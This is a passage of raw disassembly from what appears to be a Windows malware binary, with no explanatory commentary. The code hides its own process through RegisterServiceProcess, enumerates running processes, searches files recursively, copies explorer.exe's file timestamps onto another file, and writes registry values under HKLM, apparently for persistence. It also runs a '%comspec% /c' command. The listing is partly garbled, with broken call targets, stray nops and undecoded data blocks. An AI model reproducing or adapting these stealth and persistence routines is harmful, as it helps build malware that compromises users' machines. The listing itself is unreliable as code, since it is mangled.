ecx, [esp+284h+var_221] lea edx, [esp+284h+var_278] push ecx push edx lea ecx, [esp+28Ch+var_232] call sub_401E47 push offset dword_448F34 mov ecx, eax mov byte ptr [esp+288h+var_4], 4 call sub_401A9B lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl call sub_401226 loc_40CDFB: ; CODE XREF: sub_40CC80+142j push ebx lea ecx, [esp+288h+var_232] call sub_4014DD push eax lea ecx, [esp+28Ch+var_247] call sub_4014DD push eax mov eax, [esp+290h+var_219] push eax lea ecx, [esp+294h+var_25C] call sub_40168B mov ecx, [esp+294h+var_260] push eax push ecx call sub_40227A push eax lea edx, [esp+2A0h+var_20C] push offset aFilesFoundD ; "Files Found: %d" push edx nop call near ptr byte_5F285B mov eax, [esp+2A4h+var_211] add esp, 24h cmp eax, ebx jnz short loc_40CE6C mov eax, [esp+280h+var_215] lea ecx, [esp+280h+var_208] push eax push ecx lea ecx, [esp+288h+var_258] call sub_40168B mov edx, [esp+288h+var_25C] push eax push edx call sub_40152D add esp, 10h loc_40CE6C: ; CODE XREF: sub_40CC80+1C9j mov eax, [esp+280h+var_219] push eax call sub_401E3D add esp, 4 push ebx nop call near ptr 28304F6h pop ebx loc_40CE81: ; CODE XREF: sub_40CC80+36j mov ecx, [esp+280h+var_C] mov al, 1 pop esi mov large fs:0, ecx add esp, 27Ch retn 4 sub_40CC80 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CF30 proc near ; CODE XREF: sub_40199Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40CF30 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+4] call sub_40142E lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_40142E mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_40CF30 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40CFB0: ; CODE XREF: ___:loc_40228Ej push 0FFFFFFFFh push offset loc_43A086 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi lea ecx, [esi+2Eh] mov dword ptr [esp+10h], 1 call sub_401226 lea ecx, [esi+19h] mov byte ptr [esp+10h], 0 call sub_401226 lea ecx, [esi+4] mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40D030 proc near ; CODE XREF: sub_40227Aj var_548 = byte ptr -548h var_51C = byte ptr -51Ch var_51B = byte ptr -51Bh var_408 = byte ptr -408h var_304 = byte ptr -304h var_200 = byte ptr -200h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h sub esp, 548h lea eax, [esp+548h+var_408] push ebx push ebp push esi mov esi, [esp+554h+arg_10] push edi mov edi, dword_511AE4 push esi push offset aS_1 ; "%s\\*" push 104h push eax call edi add esp, 10h lea ecx, [esp+558h+var_548] lea edx, [esp+558h+var_408] push ecx push edx nop call near ptr 2880000h mov ebp, [esp+558h+arg_14] mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40D0F7 loc_40D080: ; CODE XREF: sub_40D030+C5j test [esp+558h+var_548], 10h jz short loc_40D0E7 cmp [esp+558h+var_51C], 2Eh jnz short loc_40D09A mov al, [esp+558h+var_51B] test al, al jz short loc_40D0E7 cmp al, 2Eh jz short loc_40D0E7 loc_40D09A: ; CODE XREF: sub_40D030+5Cj lea eax, [esp+558h+var_51C] lea ecx, [esp+558h+var_304] push eax push esi push offset dword_444684 push 104h push ecx call edi mov eax, [esp+56Ch+arg_C] mov ecx, [esp+56Ch+arg_8] lea edx, [esp+56Ch+var_304] push ebp push edx mov edx, [esp+574h+arg_4] push eax mov eax, [esp+578h+arg_0] push ecx push edx push eax call sub_40227A add esp, 2Ch mov ebp, eax loc_40D0E7: ; CODE XREF: sub_40D030+55j ; sub_40D030+64j ... lea ecx, [esp+558h+var_548] push ecx push ebx call near ptr 2870000h nop test eax, eax jnz short loc_40D080 loc_40D0F7: ; CODE XREF: sub_40D030+4Ej push ebx nop call near ptr 28601FAh mov edx, [esp+558h+arg_C] lea eax, [esp+558h+var_408] push edx push esi push offset dword_444684 push 104h push eax call edi add esp, 14h lea ecx, [esp+558h+var_548] lea edx, [esp+558h+var_408] push ecx push edx call near ptr 2880000h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40D18B loc_40D138: ; CODE XREF: sub_40D030+159j lea eax, [esp+558h+var_51C] lea ecx, [esp+558h+var_200] push eax push esi push offset aFoundSS ; "Found: %s\\%s" push 200h push ecx inc ebp call edi mov edx, [esp+56Ch+arg_8] mov ecx, [esp+56Ch+arg_4] lea eax, [esp+56Ch+var_200] push edx mov edx, [esp+570h+arg_0] push eax push ecx push edx call sub_40152D add esp, 24h lea eax, [esp+558h+var_548] push eax push ebx nop call near ptr 2870000h test eax, eax jnz short loc_40D138 loc_40D18B: ; CODE XREF: sub_40D030+106j push ebx call near ptr 28601FAh nop pop edi mov eax, ebp pop esi pop ebp pop ebx add esp, 548h retn sub_40D030 endp ; --------------------------------------------------------------------------- db 90h db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40D200 proc near ; CODE XREF: sub_40104Bj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40D200 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 4 push 4 push 1 push 13h lea eax, [esp+58h+var_3C] push 1 mov esi, ecx push eax call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017EE lea ecx, [esi+19h] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_40D200 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 5 push 4 push 13h lea edx, [esp+1Ch] push 1 push edx call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017EE push eax lea eax, [esi+47h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 4 push 4 push 1 push 3 push 16h lea ecx, [esp+20h] push 13h push ecx call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017EE lea edx, [esi+75h] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 5 push 4 push 3 push 16h push 13h lea eax, [esp+3Ch] push eax call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017EE add esi, 0A3h push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_40D3B0: ; CODE XREF: ___:004013CFj sub esp, 104h lea eax, [esp+0] push 104h push eax push 0 nop call near ptr 2881C8Fh push eax nop call near ptr 288108Ah mov eax, dword_449070 test eax, eax jz loc_40D4D3 mov ecx, dword_44906C test ecx, ecx jz loc_40D4D3 mov ecx, dword_448F38 test ecx, ecx jz loc_40D4D3 push 0 push 2 call eax ; CreateToolhelp32Snapshot cmp eax, 0FFFFFFFFh mov dword_449068, eax jz loc_40D4D3 push ebp push offset dword_448F40 push eax xor ebp, ebp mov dword_448F40, 128h call dword_44906C ; Process32First test eax, eax jz loc_40D4BC push ebx mov ebx, [esp+110h] push esi mov esi, dword_511AE0 push edi loc_40D43D: ; CODE XREF: ___:0040D4B7j mov edi, offset dword_448F64 or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+10h] repne scasb not ecx dec ecx mov edi, offset dword_448F64 push ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea edi, [esp+14h] sub edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push offset dword_448F64 add edx, ecx push edx call esi add esp, 0Ch test eax, eax jz short loc_40D4A3 mov edi, offset dword_448F64 or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push offset dword_448F64 mov ecx, ebx call sub_40168B push eax call esi add esp, 0Ch test eax, eax jnz short loc_40D4A4 loc_40D4A3: ; CODE XREF: ___:0040D47Bj inc ebp loc_40D4A4: ; CODE XREF: ___:0040D4A1j mov eax, dword_449068 push offset dword_448F40 push eax call dword_448F38 ; Process32Next test eax, eax jnz short loc_40D43D pop edi pop esi pop ebx loc_40D4BC: ; CODE XREF: ___:0040D427j mov ecx, dword_449068 push ecx nop call near ptr 2840000h mov eax, ebp pop ebp add esp, 104h retn ; --------------------------------------------------------------------------- loc_40D4D3: ; CODE XREF: ___:0040D3D6j ; ___:0040D3E4j ... xor eax, eax add esp, 104h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_40D530: ; CODE XREF: ___:00401FAFj sub esp, 11Ch lea eax, [esp+18h] push ebx push esi push edi push 104h push eax call near ptr 2890BA8h nop mov edi, offset aExplorer_exe ; "\\explorer.exe" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+24h] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx push 80h and ecx, 3 push 3 push eax push 1 rep movsb mov edi, dword_5118F0 lea eax, [esp+38h] push 80000000h push eax call edi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40D5F6 lea ecx, [esp+1Ch] lea edx, [esp+0Ch] push ecx lea eax, [esp+18h] push edx push eax push esi nop call near ptr 289073Eh mov ebx, dword_5118E0 push esi call ebx mov ecx, [esp+12Ch] push 0 push 80h push 3 push 0 push 2 push 40000000h push ecx call edi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40D5F6 lea edx, [esp+1Ch] lea eax, [esp+0Ch] push edx lea ecx, [esp+18h] push eax push ecx push esi call near ptr 2890000h nop push esi call ebx loc_40D5F6: ; CODE XREF: ___:0040D599j ; ___:0040D5DBj pop edi pop esi pop ebx add esp, 11Ch retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40D650 proc near ; CODE XREF: sub_401B6Dj var_19C = byte ptr -19Ch var_184 = byte ptr -184h var_16C = byte ptr -16Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_40D650 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 190h push ebx push esi mov esi, ecx push edi lea ecx, [esp+1A8h+var_16C] call sub_40142E push 104h push 104h lea ecx, [esp+1B0h+var_16C] mov [esp+1B0h+var_4], 0 call sub_401C71 push eax nop call near ptr 27F0000h lea ecx, [esp+1A8h+var_16C] call sub_4017EE push eax lea ecx, [esi+4] call sub_4015E1 lea ecx, [esp+1A8h+var_184] call sub_40142E mov ebx, 1 push 104h push 104h lea ecx, [esp+1B0h+var_184] mov byte ptr [esp+1B0h+var_4], bl call sub_401C71 push eax push 0 nop call near ptr 2881C8Fh push eax nop call near ptr 288108Ah push offset aKernel32_dll_0 ; "kernel32.dll" nop call near ptr 27E0948h mov esi, eax test esi, esi jz short loc_40D741 mov edi, dword_511918 push offset aRegisterservic ; "RegisterServiceProcess" push esi call edi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push esi mov dword_449074, eax call edi push offset aProcess32first ; "Process32First" push esi mov dword_449070, eax call edi push offset aProcess32next ; "Process32Next" push esi mov dword_44906C, eax call edi mov dword_448F38, eax mov eax, dword_449074 test eax, eax jz short loc_40D741 push ebx push 0 call eax loc_40D741: ; CODE XREF: sub_40D650+A7j ; sub_40D650+EAj mov esi, [esp+1A8h+arg_0] push 0 mov ecx, esi call sub_4017EE push eax lea ecx, [esp+1B0h+var_184] call sub_402135 test eax, eax jnz short loc_40D778 mov al, byte_44915F test al, al jz short loc_40D778 mov ecx, esi call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- add esp, 4 loc_40D778: ; CODE XREF: sub_40D650+10Dj ; sub_40D650+116j push 0 push 5 push 18h push 5 push 4Eh push 46h push 47h push 12h push 10h push 10h push 0Eh push 9 lea eax, [esp+1D8h+var_19C] push 17h push eax call sub_4019C4 add esp, 38h mov ecx, eax mov byte ptr [esp+1A8h+var_4], 2 call sub_4017EE push eax call sub_401604 sub_40D650 endp ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 14h push 13h push 0Fh push 8 push 0Ch push 0Ch lea ecx, [esp+38h] push 4 push ecx call sub_4019C4 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 3 call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 4 push 10h push 14h push 6 lea edx, [esp+30h] push 14h push edx call sub_4019C4 add esp, 2Ch mov ecx, eax mov byte ptr [esp+1A4h], 4 call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 14h push 13h push ebx push 0Ch push 2 push 13h lea eax, [esp+38h] push 0Dh push eax call sub_4019C4 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 5 call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 46h push 47h push 13h push 9 push 0Eh push 5 lea ecx, [esp+38h] push 10h push ecx call sub_4019C4 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 6 call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 8 push 3 push 14h push ebx push 10h push 13h lea edx, [esp+38h] push 0Dh push edx call sub_4019C4 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 7 call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- db 83h dd 4C8D04C4h, 9C880C24h, 1A424h, 38E4E800h, 448DFFFFh dd 6A3C24h, 244C8D50h, 3EC4E82Ch, 0C085FFFFh, 116850Fh dd 8B550000h, 3E8CE8CEh, 6A50FFFFh, 244C8D5Ch, 3E80E848h dd 8D50FFFFh, 0A8248Ch, 8680000h, 5100444Bh, 1E4EDAE8h dd 3D8B9000h, 5118ACh, 0FF14C483h, 24948DD7h, 9Ch, 8D52006Ah dd 8B30244Ch, 3CE9E8E8h, 358BFFFFh, 511914h, 85D6FF50h dd 0FF3075C0h, 3DC52BD7h, 61A8h, 0D0682573h, 90000007h dd 4229C1E8h, 24848D02h, 9Ch, 8D50006Ah, 0E830244Ch, 0FFFF3CB3h dd 85D6FF50h, 0A0D074C0h, 4497BBh, 74C0845Dh, 0D8358B39h dd 6800511Ah, 104h, 9C248C8Dh, 68000000h, 444B00h, 83D6FF51h dd 4C8D0CC4h, 4682424h, 0E8000001h, 0FFFF3DDAh, 9C24948Dh dd 50000000h, 83D6FF52h, 11B90CC4h, 33000000h, 247C8DC0h dd 24948D54h, 98h, 8966ABF3h, 842484h, 448D0000h, 4C8D0C24h dd 51505424h, 6A006Ah, 6A53286Ah, 52006A00h, 44C7006Ah dd 447C24h, 0E8900000h, 23E2A71h, 874C085h, 0FE8006Ah dd 907782C4h, 24244C8Dh, 0A42484C6h, 1, 0FF37A5E8h, 244C8DFFh dd 2484C73Ch, 1A4h, 0FFFFFFFFh, 0FF3791E8h, 248C8BFFh dd 19Ch, 5EC38A5Fh, 0D89645Bh, 0 ; --------------------------------------------------------------------------- add esp, 19Ch retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40DBE0 proc near ; CODE XREF: sub_401195j mov al, byte_449161 test al, al jz short loc_40DBF4 push offset word_449162 nop call near ptr 27E0D1Eh loc_40DBF4: ; CODE XREF: sub_40DBE0+7j mov al, 1 retn sub_40DBE0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40DC10 proc near ; CODE XREF: sub_401E79j var_6D0 = dword ptr -6D0h var_6CC = dword ptr -6CCh var_6C8 = dword ptr -6C8h var_6C4 = dword ptr -6C4h var_6C0 = dword ptr -6C0h var_6BC = dword ptr -6BCh var_6B8 = dword ptr -6B8h var_6B4 = dword ptr -6B4h var_6B0 = byte ptr -6B0h var_6AC = byte ptr -6ACh var_694 = byte ptr -694h var_67C = byte ptr -67Ch var_664 = byte ptr -664h var_64C = byte ptr -64Ch var_634 = byte ptr -634h var_61C = byte ptr -61Ch var_604 = byte ptr -604h var_5EC = byte ptr -5ECh var_5D4 = byte ptr -5D4h var_5BC = byte ptr -5BCh var_5A4 = byte ptr -5A4h var_58C = byte ptr -58Ch var_574 = byte ptr -574h var_564 = dword ptr -564h var_534 = word ptr -534h var_520 = byte ptr -520h var_41C = byte ptr -41Ch var_318 = byte ptr -318h var_214 = byte ptr -214h var_110 = byte ptr -110h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40DC10 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 6C4h push esi lea eax, [esp+6D4h+var_41C] push 104h push eax push 0 call near ptr 2881C8Fh nop push eax nop call near ptr 288108Ah lea ecx, [esp+6D4h+var_318] push ecx push 104h call near ptr 27D0000h nop push 0 push 14h push 1 push 2 push 4Fh push 0Fh push 12h push 6 lea edx, [esp+6F4h+var_5EC] push 1 push edx call sub_4019C4 add esp, 28h mov ecx, eax mov [esp+6D4h+var_4], 0 call sub_4017EE push eax lea eax, [esp+6D8h+var_318] push eax lea ecx, [esp+6DCh+var_520] push offset dword_444684 push ecx nop call near ptr byte_5F285B add esp, 10h lea ecx, [esp+6D4h+var_5EC] mov [esp+6D4h+var_4], 0FFFFFFFFh call sub_401226 push 0 push 0 push 2 push 0 push 0 lea edx, [esp+6E8h+var_520] push 40000000h push edx nop call near ptr 2860000h mov esi, eax test esi, esi jbe loc_40E168 push ebx push ebp push edi lea ecx, [esp+6E0h+var_6AC] call sub_40142E push 0 push 14h push 1 push 2 lea eax, [esp+6F0h+var_604] push 4Fh push eax mov [esp+6F8h+var_4], 1 call sub_4019C4 mov edi, eax push 0 push 39h push 10h push 0Dh push 5 push 14h push 39h push 4Eh push 0Ch push 5 lea ecx, [esp+720h+var_634] push 4 push ecx mov byte ptr [esp+728h+var_4], 2 call sub_4019C4 add esp, 48h mov ebp, eax push 0 push 14h push 1 push 2 lea edx, [esp+6F0h+var_664] push 4Fh push edx mov byte ptr [esp+6F8h+var_4], 3 call sub_4019C4 mov ebx, eax push 0 push 39h push 10h push 0Dh push 5 push 14h push 39h push 4Eh push 20h push 52h push 4Eh push 0Ch push 5 lea eax, [esp+72Ch+var_67C] push 4 push eax mov byte ptr [esp+734h+var_4], 4 call sub_4019C4 add esp, 54h mov [esp+6E0h+var_6B4], eax push 0 push 5 push 0Eh push 0Fh push 4 lea ecx, [esp+6F4h+var_61C] push 53h push ecx mov byte ptr [esp+6FCh+var_4], 5 call sub_4019C4 mov [esp+6FCh+var_6C8], eax mov byte ptr [esp+6FCh+var_4], 6 push 0 push 14h push 12h push 1 push 14h push 13h push 4Eh push 0Fh push 14h push 0Fh lea edx, [esp+724h+var_5D4] push 7 push edx call sub_4019C4 add esp, 4Ch mov [esp+6E0h+var_6B8], eax push 0 push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 0Ch push 5 lea eax, [esp+708h+var_5A4] push 4 push eax mov byte ptr [esp+710h+var_4], 7 call sub_4019C4 mov [esp+710h+var_6C0], eax push 0 push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 20h push 52h push 4Eh push 0Ch push 5 lea ecx, [esp+744h+var_58C] push 4 push ecx mov byte ptr [esp+74Ch+var_4], 8 call sub_4019C4 add esp, 6Ch mov [esp+6E0h+var_6D0], eax push 0 push 5 push 0Eh push 0Fh push 4 push 4Eh push 0Fh push 14h push 0Fh push 7 push 4Eh push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 14h push 13h push 9 push 18h push 5 push 4Eh push 14h mov byte ptr [esp+744h+var_4], 9 push 0Fh push 0Eh push 4Eh push 6 lea edx, [esp+754h+var_694] push 9 push edx call sub_4019C4 mov [esp+75Ch+var_6CC], eax push 0 push 14h push 12h push 1 push 14h push 13h lea eax, [esp+774h+var_5BC] push 53h push eax mov byte ptr [esp+77Ch+var_4], 0Ah call sub_4019C4 add esp, 9Ch mov [esp+6E0h+var_6C4], eax push 0 push 6 push 6 push 0Fh push 4Eh push 0Fh push 8 push 3 push 5 lea ecx, [esp+704h+var_64C] push 56h push ecx mov byte ptr [esp+70Ch+var_4], 0Bh call sub_4019C4 add esp, 2Ch mov [esp+6E0h+var_6BC], eax mov ecx, edi mov byte ptr [esp+6E0h+var_4], 0Ch call sub_4017EE push eax mov ecx, ebp call sub_4017EE push eax mov ecx, ebx call sub_4017EE mov ecx, [esp+6E8h+var_6B4] push eax call sub_4017EE mov ecx, [esp+6ECh+var_6C8] push eax call sub_4017EE mov ecx, [esp+6F0h+var_6B8] push eax call sub_4017EE mov ecx, [esp+6F4h+var_6C0] push eax call sub_4017EE mov ecx, [esp+6F8h+var_6D0] push eax call sub_4017EE mov ecx, [esp+6FCh+var_6CC] push eax call sub_4017EE mov ecx, [esp+700h+var_6C4] push eax call sub_4017EE mov ecx, [esp+704h+var_6BC] push eax call sub_4017EE push eax lea edx, [esp+70Ch+var_6AC] push offset aSSSSSSSSSS ; "%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r%s\r\n%s\r%s\r\n" push edx call sub_40102D add esp, 34h mov byte ptr [esp+6E0h+var_4], 0Bh lea ecx, [esp+6E0h+var_64C] call sub_401226 lea ecx, [esp+6E0h+var_5BC] mov byte ptr [esp+6E0h+var_4], 0Ah call sub_401226 lea ecx, [esp+6E0h+var_694] mov byte ptr [esp+6E0h+var_4], 9 call sub_401226 lea ecx, [esp+6E0h+var_58C] mov byte ptr [esp+6E0h+var_4], 8 call sub_401226 lea ecx, [esp+6E0h+var_5A4] mov byte ptr [esp+6E0h+var_4], 7 call sub_401226 lea ecx, [esp+6E0h+var_5D4] mov byte ptr [esp+6E0h+var_4], 6 call sub_401226 lea ecx, [esp+6E0h+var_61C] mov byte ptr [esp+6E0h+var_4], 5 call sub_401226 lea ecx, [esp+6E0h+var_67C] mov byte ptr [esp+6E0h+var_4], 4 call sub_401226 lea ecx, [esp+6E0h+var_664] mov byte ptr [esp+6E0h+var_4], 3 call sub_401226 lea ecx, [esp+6E0h+var_634] mov byte ptr [esp+6E0h+var_4], 2 call sub_401226 lea ecx, [esp+6E0h+var_604] mov byte ptr [esp+6E0h+var_4], 1 call sub_401226 lea eax, [esp+6E0h+var_6B0] push 0 push eax push 69h lea ecx, [esp+6ECh+var_6AC] call sub_4017EE push eax push esi nop call near ptr 27E0000h push esi nop call near ptr 2840000h mov ecx, 11h xor eax, eax lea edi, [esp+6E0h+var_564] push 104h rep stosd lea ecx, [esp+6E4h+var_41C] mov [esp+6E4h+var_564], 44h push ecx push eax mov [esp+6ECh+var_534], ax call near ptr 2881C8Fh nop push eax nop call near ptr 288108Ah lea edx, [esp+6E0h+var_41C] lea eax, [esp+6E0h+var_520] push edx push eax lea ecx, [esp+6E8h+var_214] push offset aComspecCSS ; "%%comspec%% /c %s %s" push ecx nop call near ptr byte_5F285B add esp, 10h lea edx, [esp+6E0h+var_110] lea eax, [esp+6E0h+var_214] push 104h push edx push eax nop call near ptr 2800000h lea ecx, [esp+6E0h+var_574] lea edx, [esp+6E0h+var_564] push ecx push edx push 0 push 0 push 28h push 1 push 0 push 0 lea eax, [esp+700h+var_110] push eax push 0 call near ptr 27F04D5h nop lea ecx, [esp+6E0h+var_6AC] mov [esp+6E0h+var_4], 0FFFFFFFFh call sub_401226 pop edi pop ebp pop ebx mov al, 1 pop esi mov ecx, [esp+6D0h+var_C] mov large fs:0, ecx add esp, 6D0h retn ; --------------------------------------------------------------------------- loc_40E168: ; CODE XREF: sub_40DC10+D6j mov ecx, [esp+6D4h+var_C] mov al, 1 pop esi mov large fs:0, ecx add esp, 6D0h retn sub_40DC10 endp ; --------------------------------------------------------------------------- db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40E2E0 proc near ; CODE XREF: sub_401730j var_70 = dword ptr -70h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_40E2E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 64h push ebx push ebp push esi push edi lea ecx, [esp+80h+var_54] call sub_40142E lea ecx, [esp+80h+var_6C] mov [esp+80h+var_4], 0 call sub_40142E lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 1 call sub_40142E push 0 push 5 push 3 push 0Eh push 29h push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea eax, [esp+144h+var_24] mov bl, 2 push 2Dh push eax mov byte ptr [esp+14Ch+var_4], bl call sub_4019C4 add esp, 0CCh push eax lea ecx, [esp+84h+var_6C] mov byte ptr [esp+84h+var_4], 3 call sub_40202C lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 13h push 5 push 3 push 9 push 16h push 12h push 5 push 2Dh push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+154h+var_24] push 2Dh push ecx call sub_4019C4 add esp, 0DCh push eax lea ecx, [esp+84h+var_3C] mov byte ptr [esp+84h+var_4], 4 call sub_40202C lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea edx, [esp+134h+var_24] push 2Dh push edx call sub_4019C4 add esp, 0BCh push eax lea ecx, [esp+84h+var_54] mov byte ptr [esp+84h+var_4], 5 call sub_40202C lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_4017EE mov ebp, dword_51175C push eax push 80000002h call ebp mov esi, [esp+80h+arg_4] mov ecx, esi call sub_40168B mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_40168B mov ebx, [esp+84h+arg_0] push eax push 1 push 0 mov ecx, ebx call sub_40168B mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2950000h mov edx, [esp+80h+var_70] push edx nop call near ptr 2910000h push 0 lea eax, [esp+84h+var_70] lea ecx, [esp+84h+var_6C] push eax push 0 push 0F003Fh push 0 push 0 push 0 call sub_4017EE push eax push 80000002h call ebp mov ecx, esi call sub_40168B mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_40168B push eax push 1 push 0 mov ecx, ebx call sub_40168B mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2950000h mov edx, [esp+80h+var_70] push edx nop call near ptr 2910000h lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_4017EE push eax push 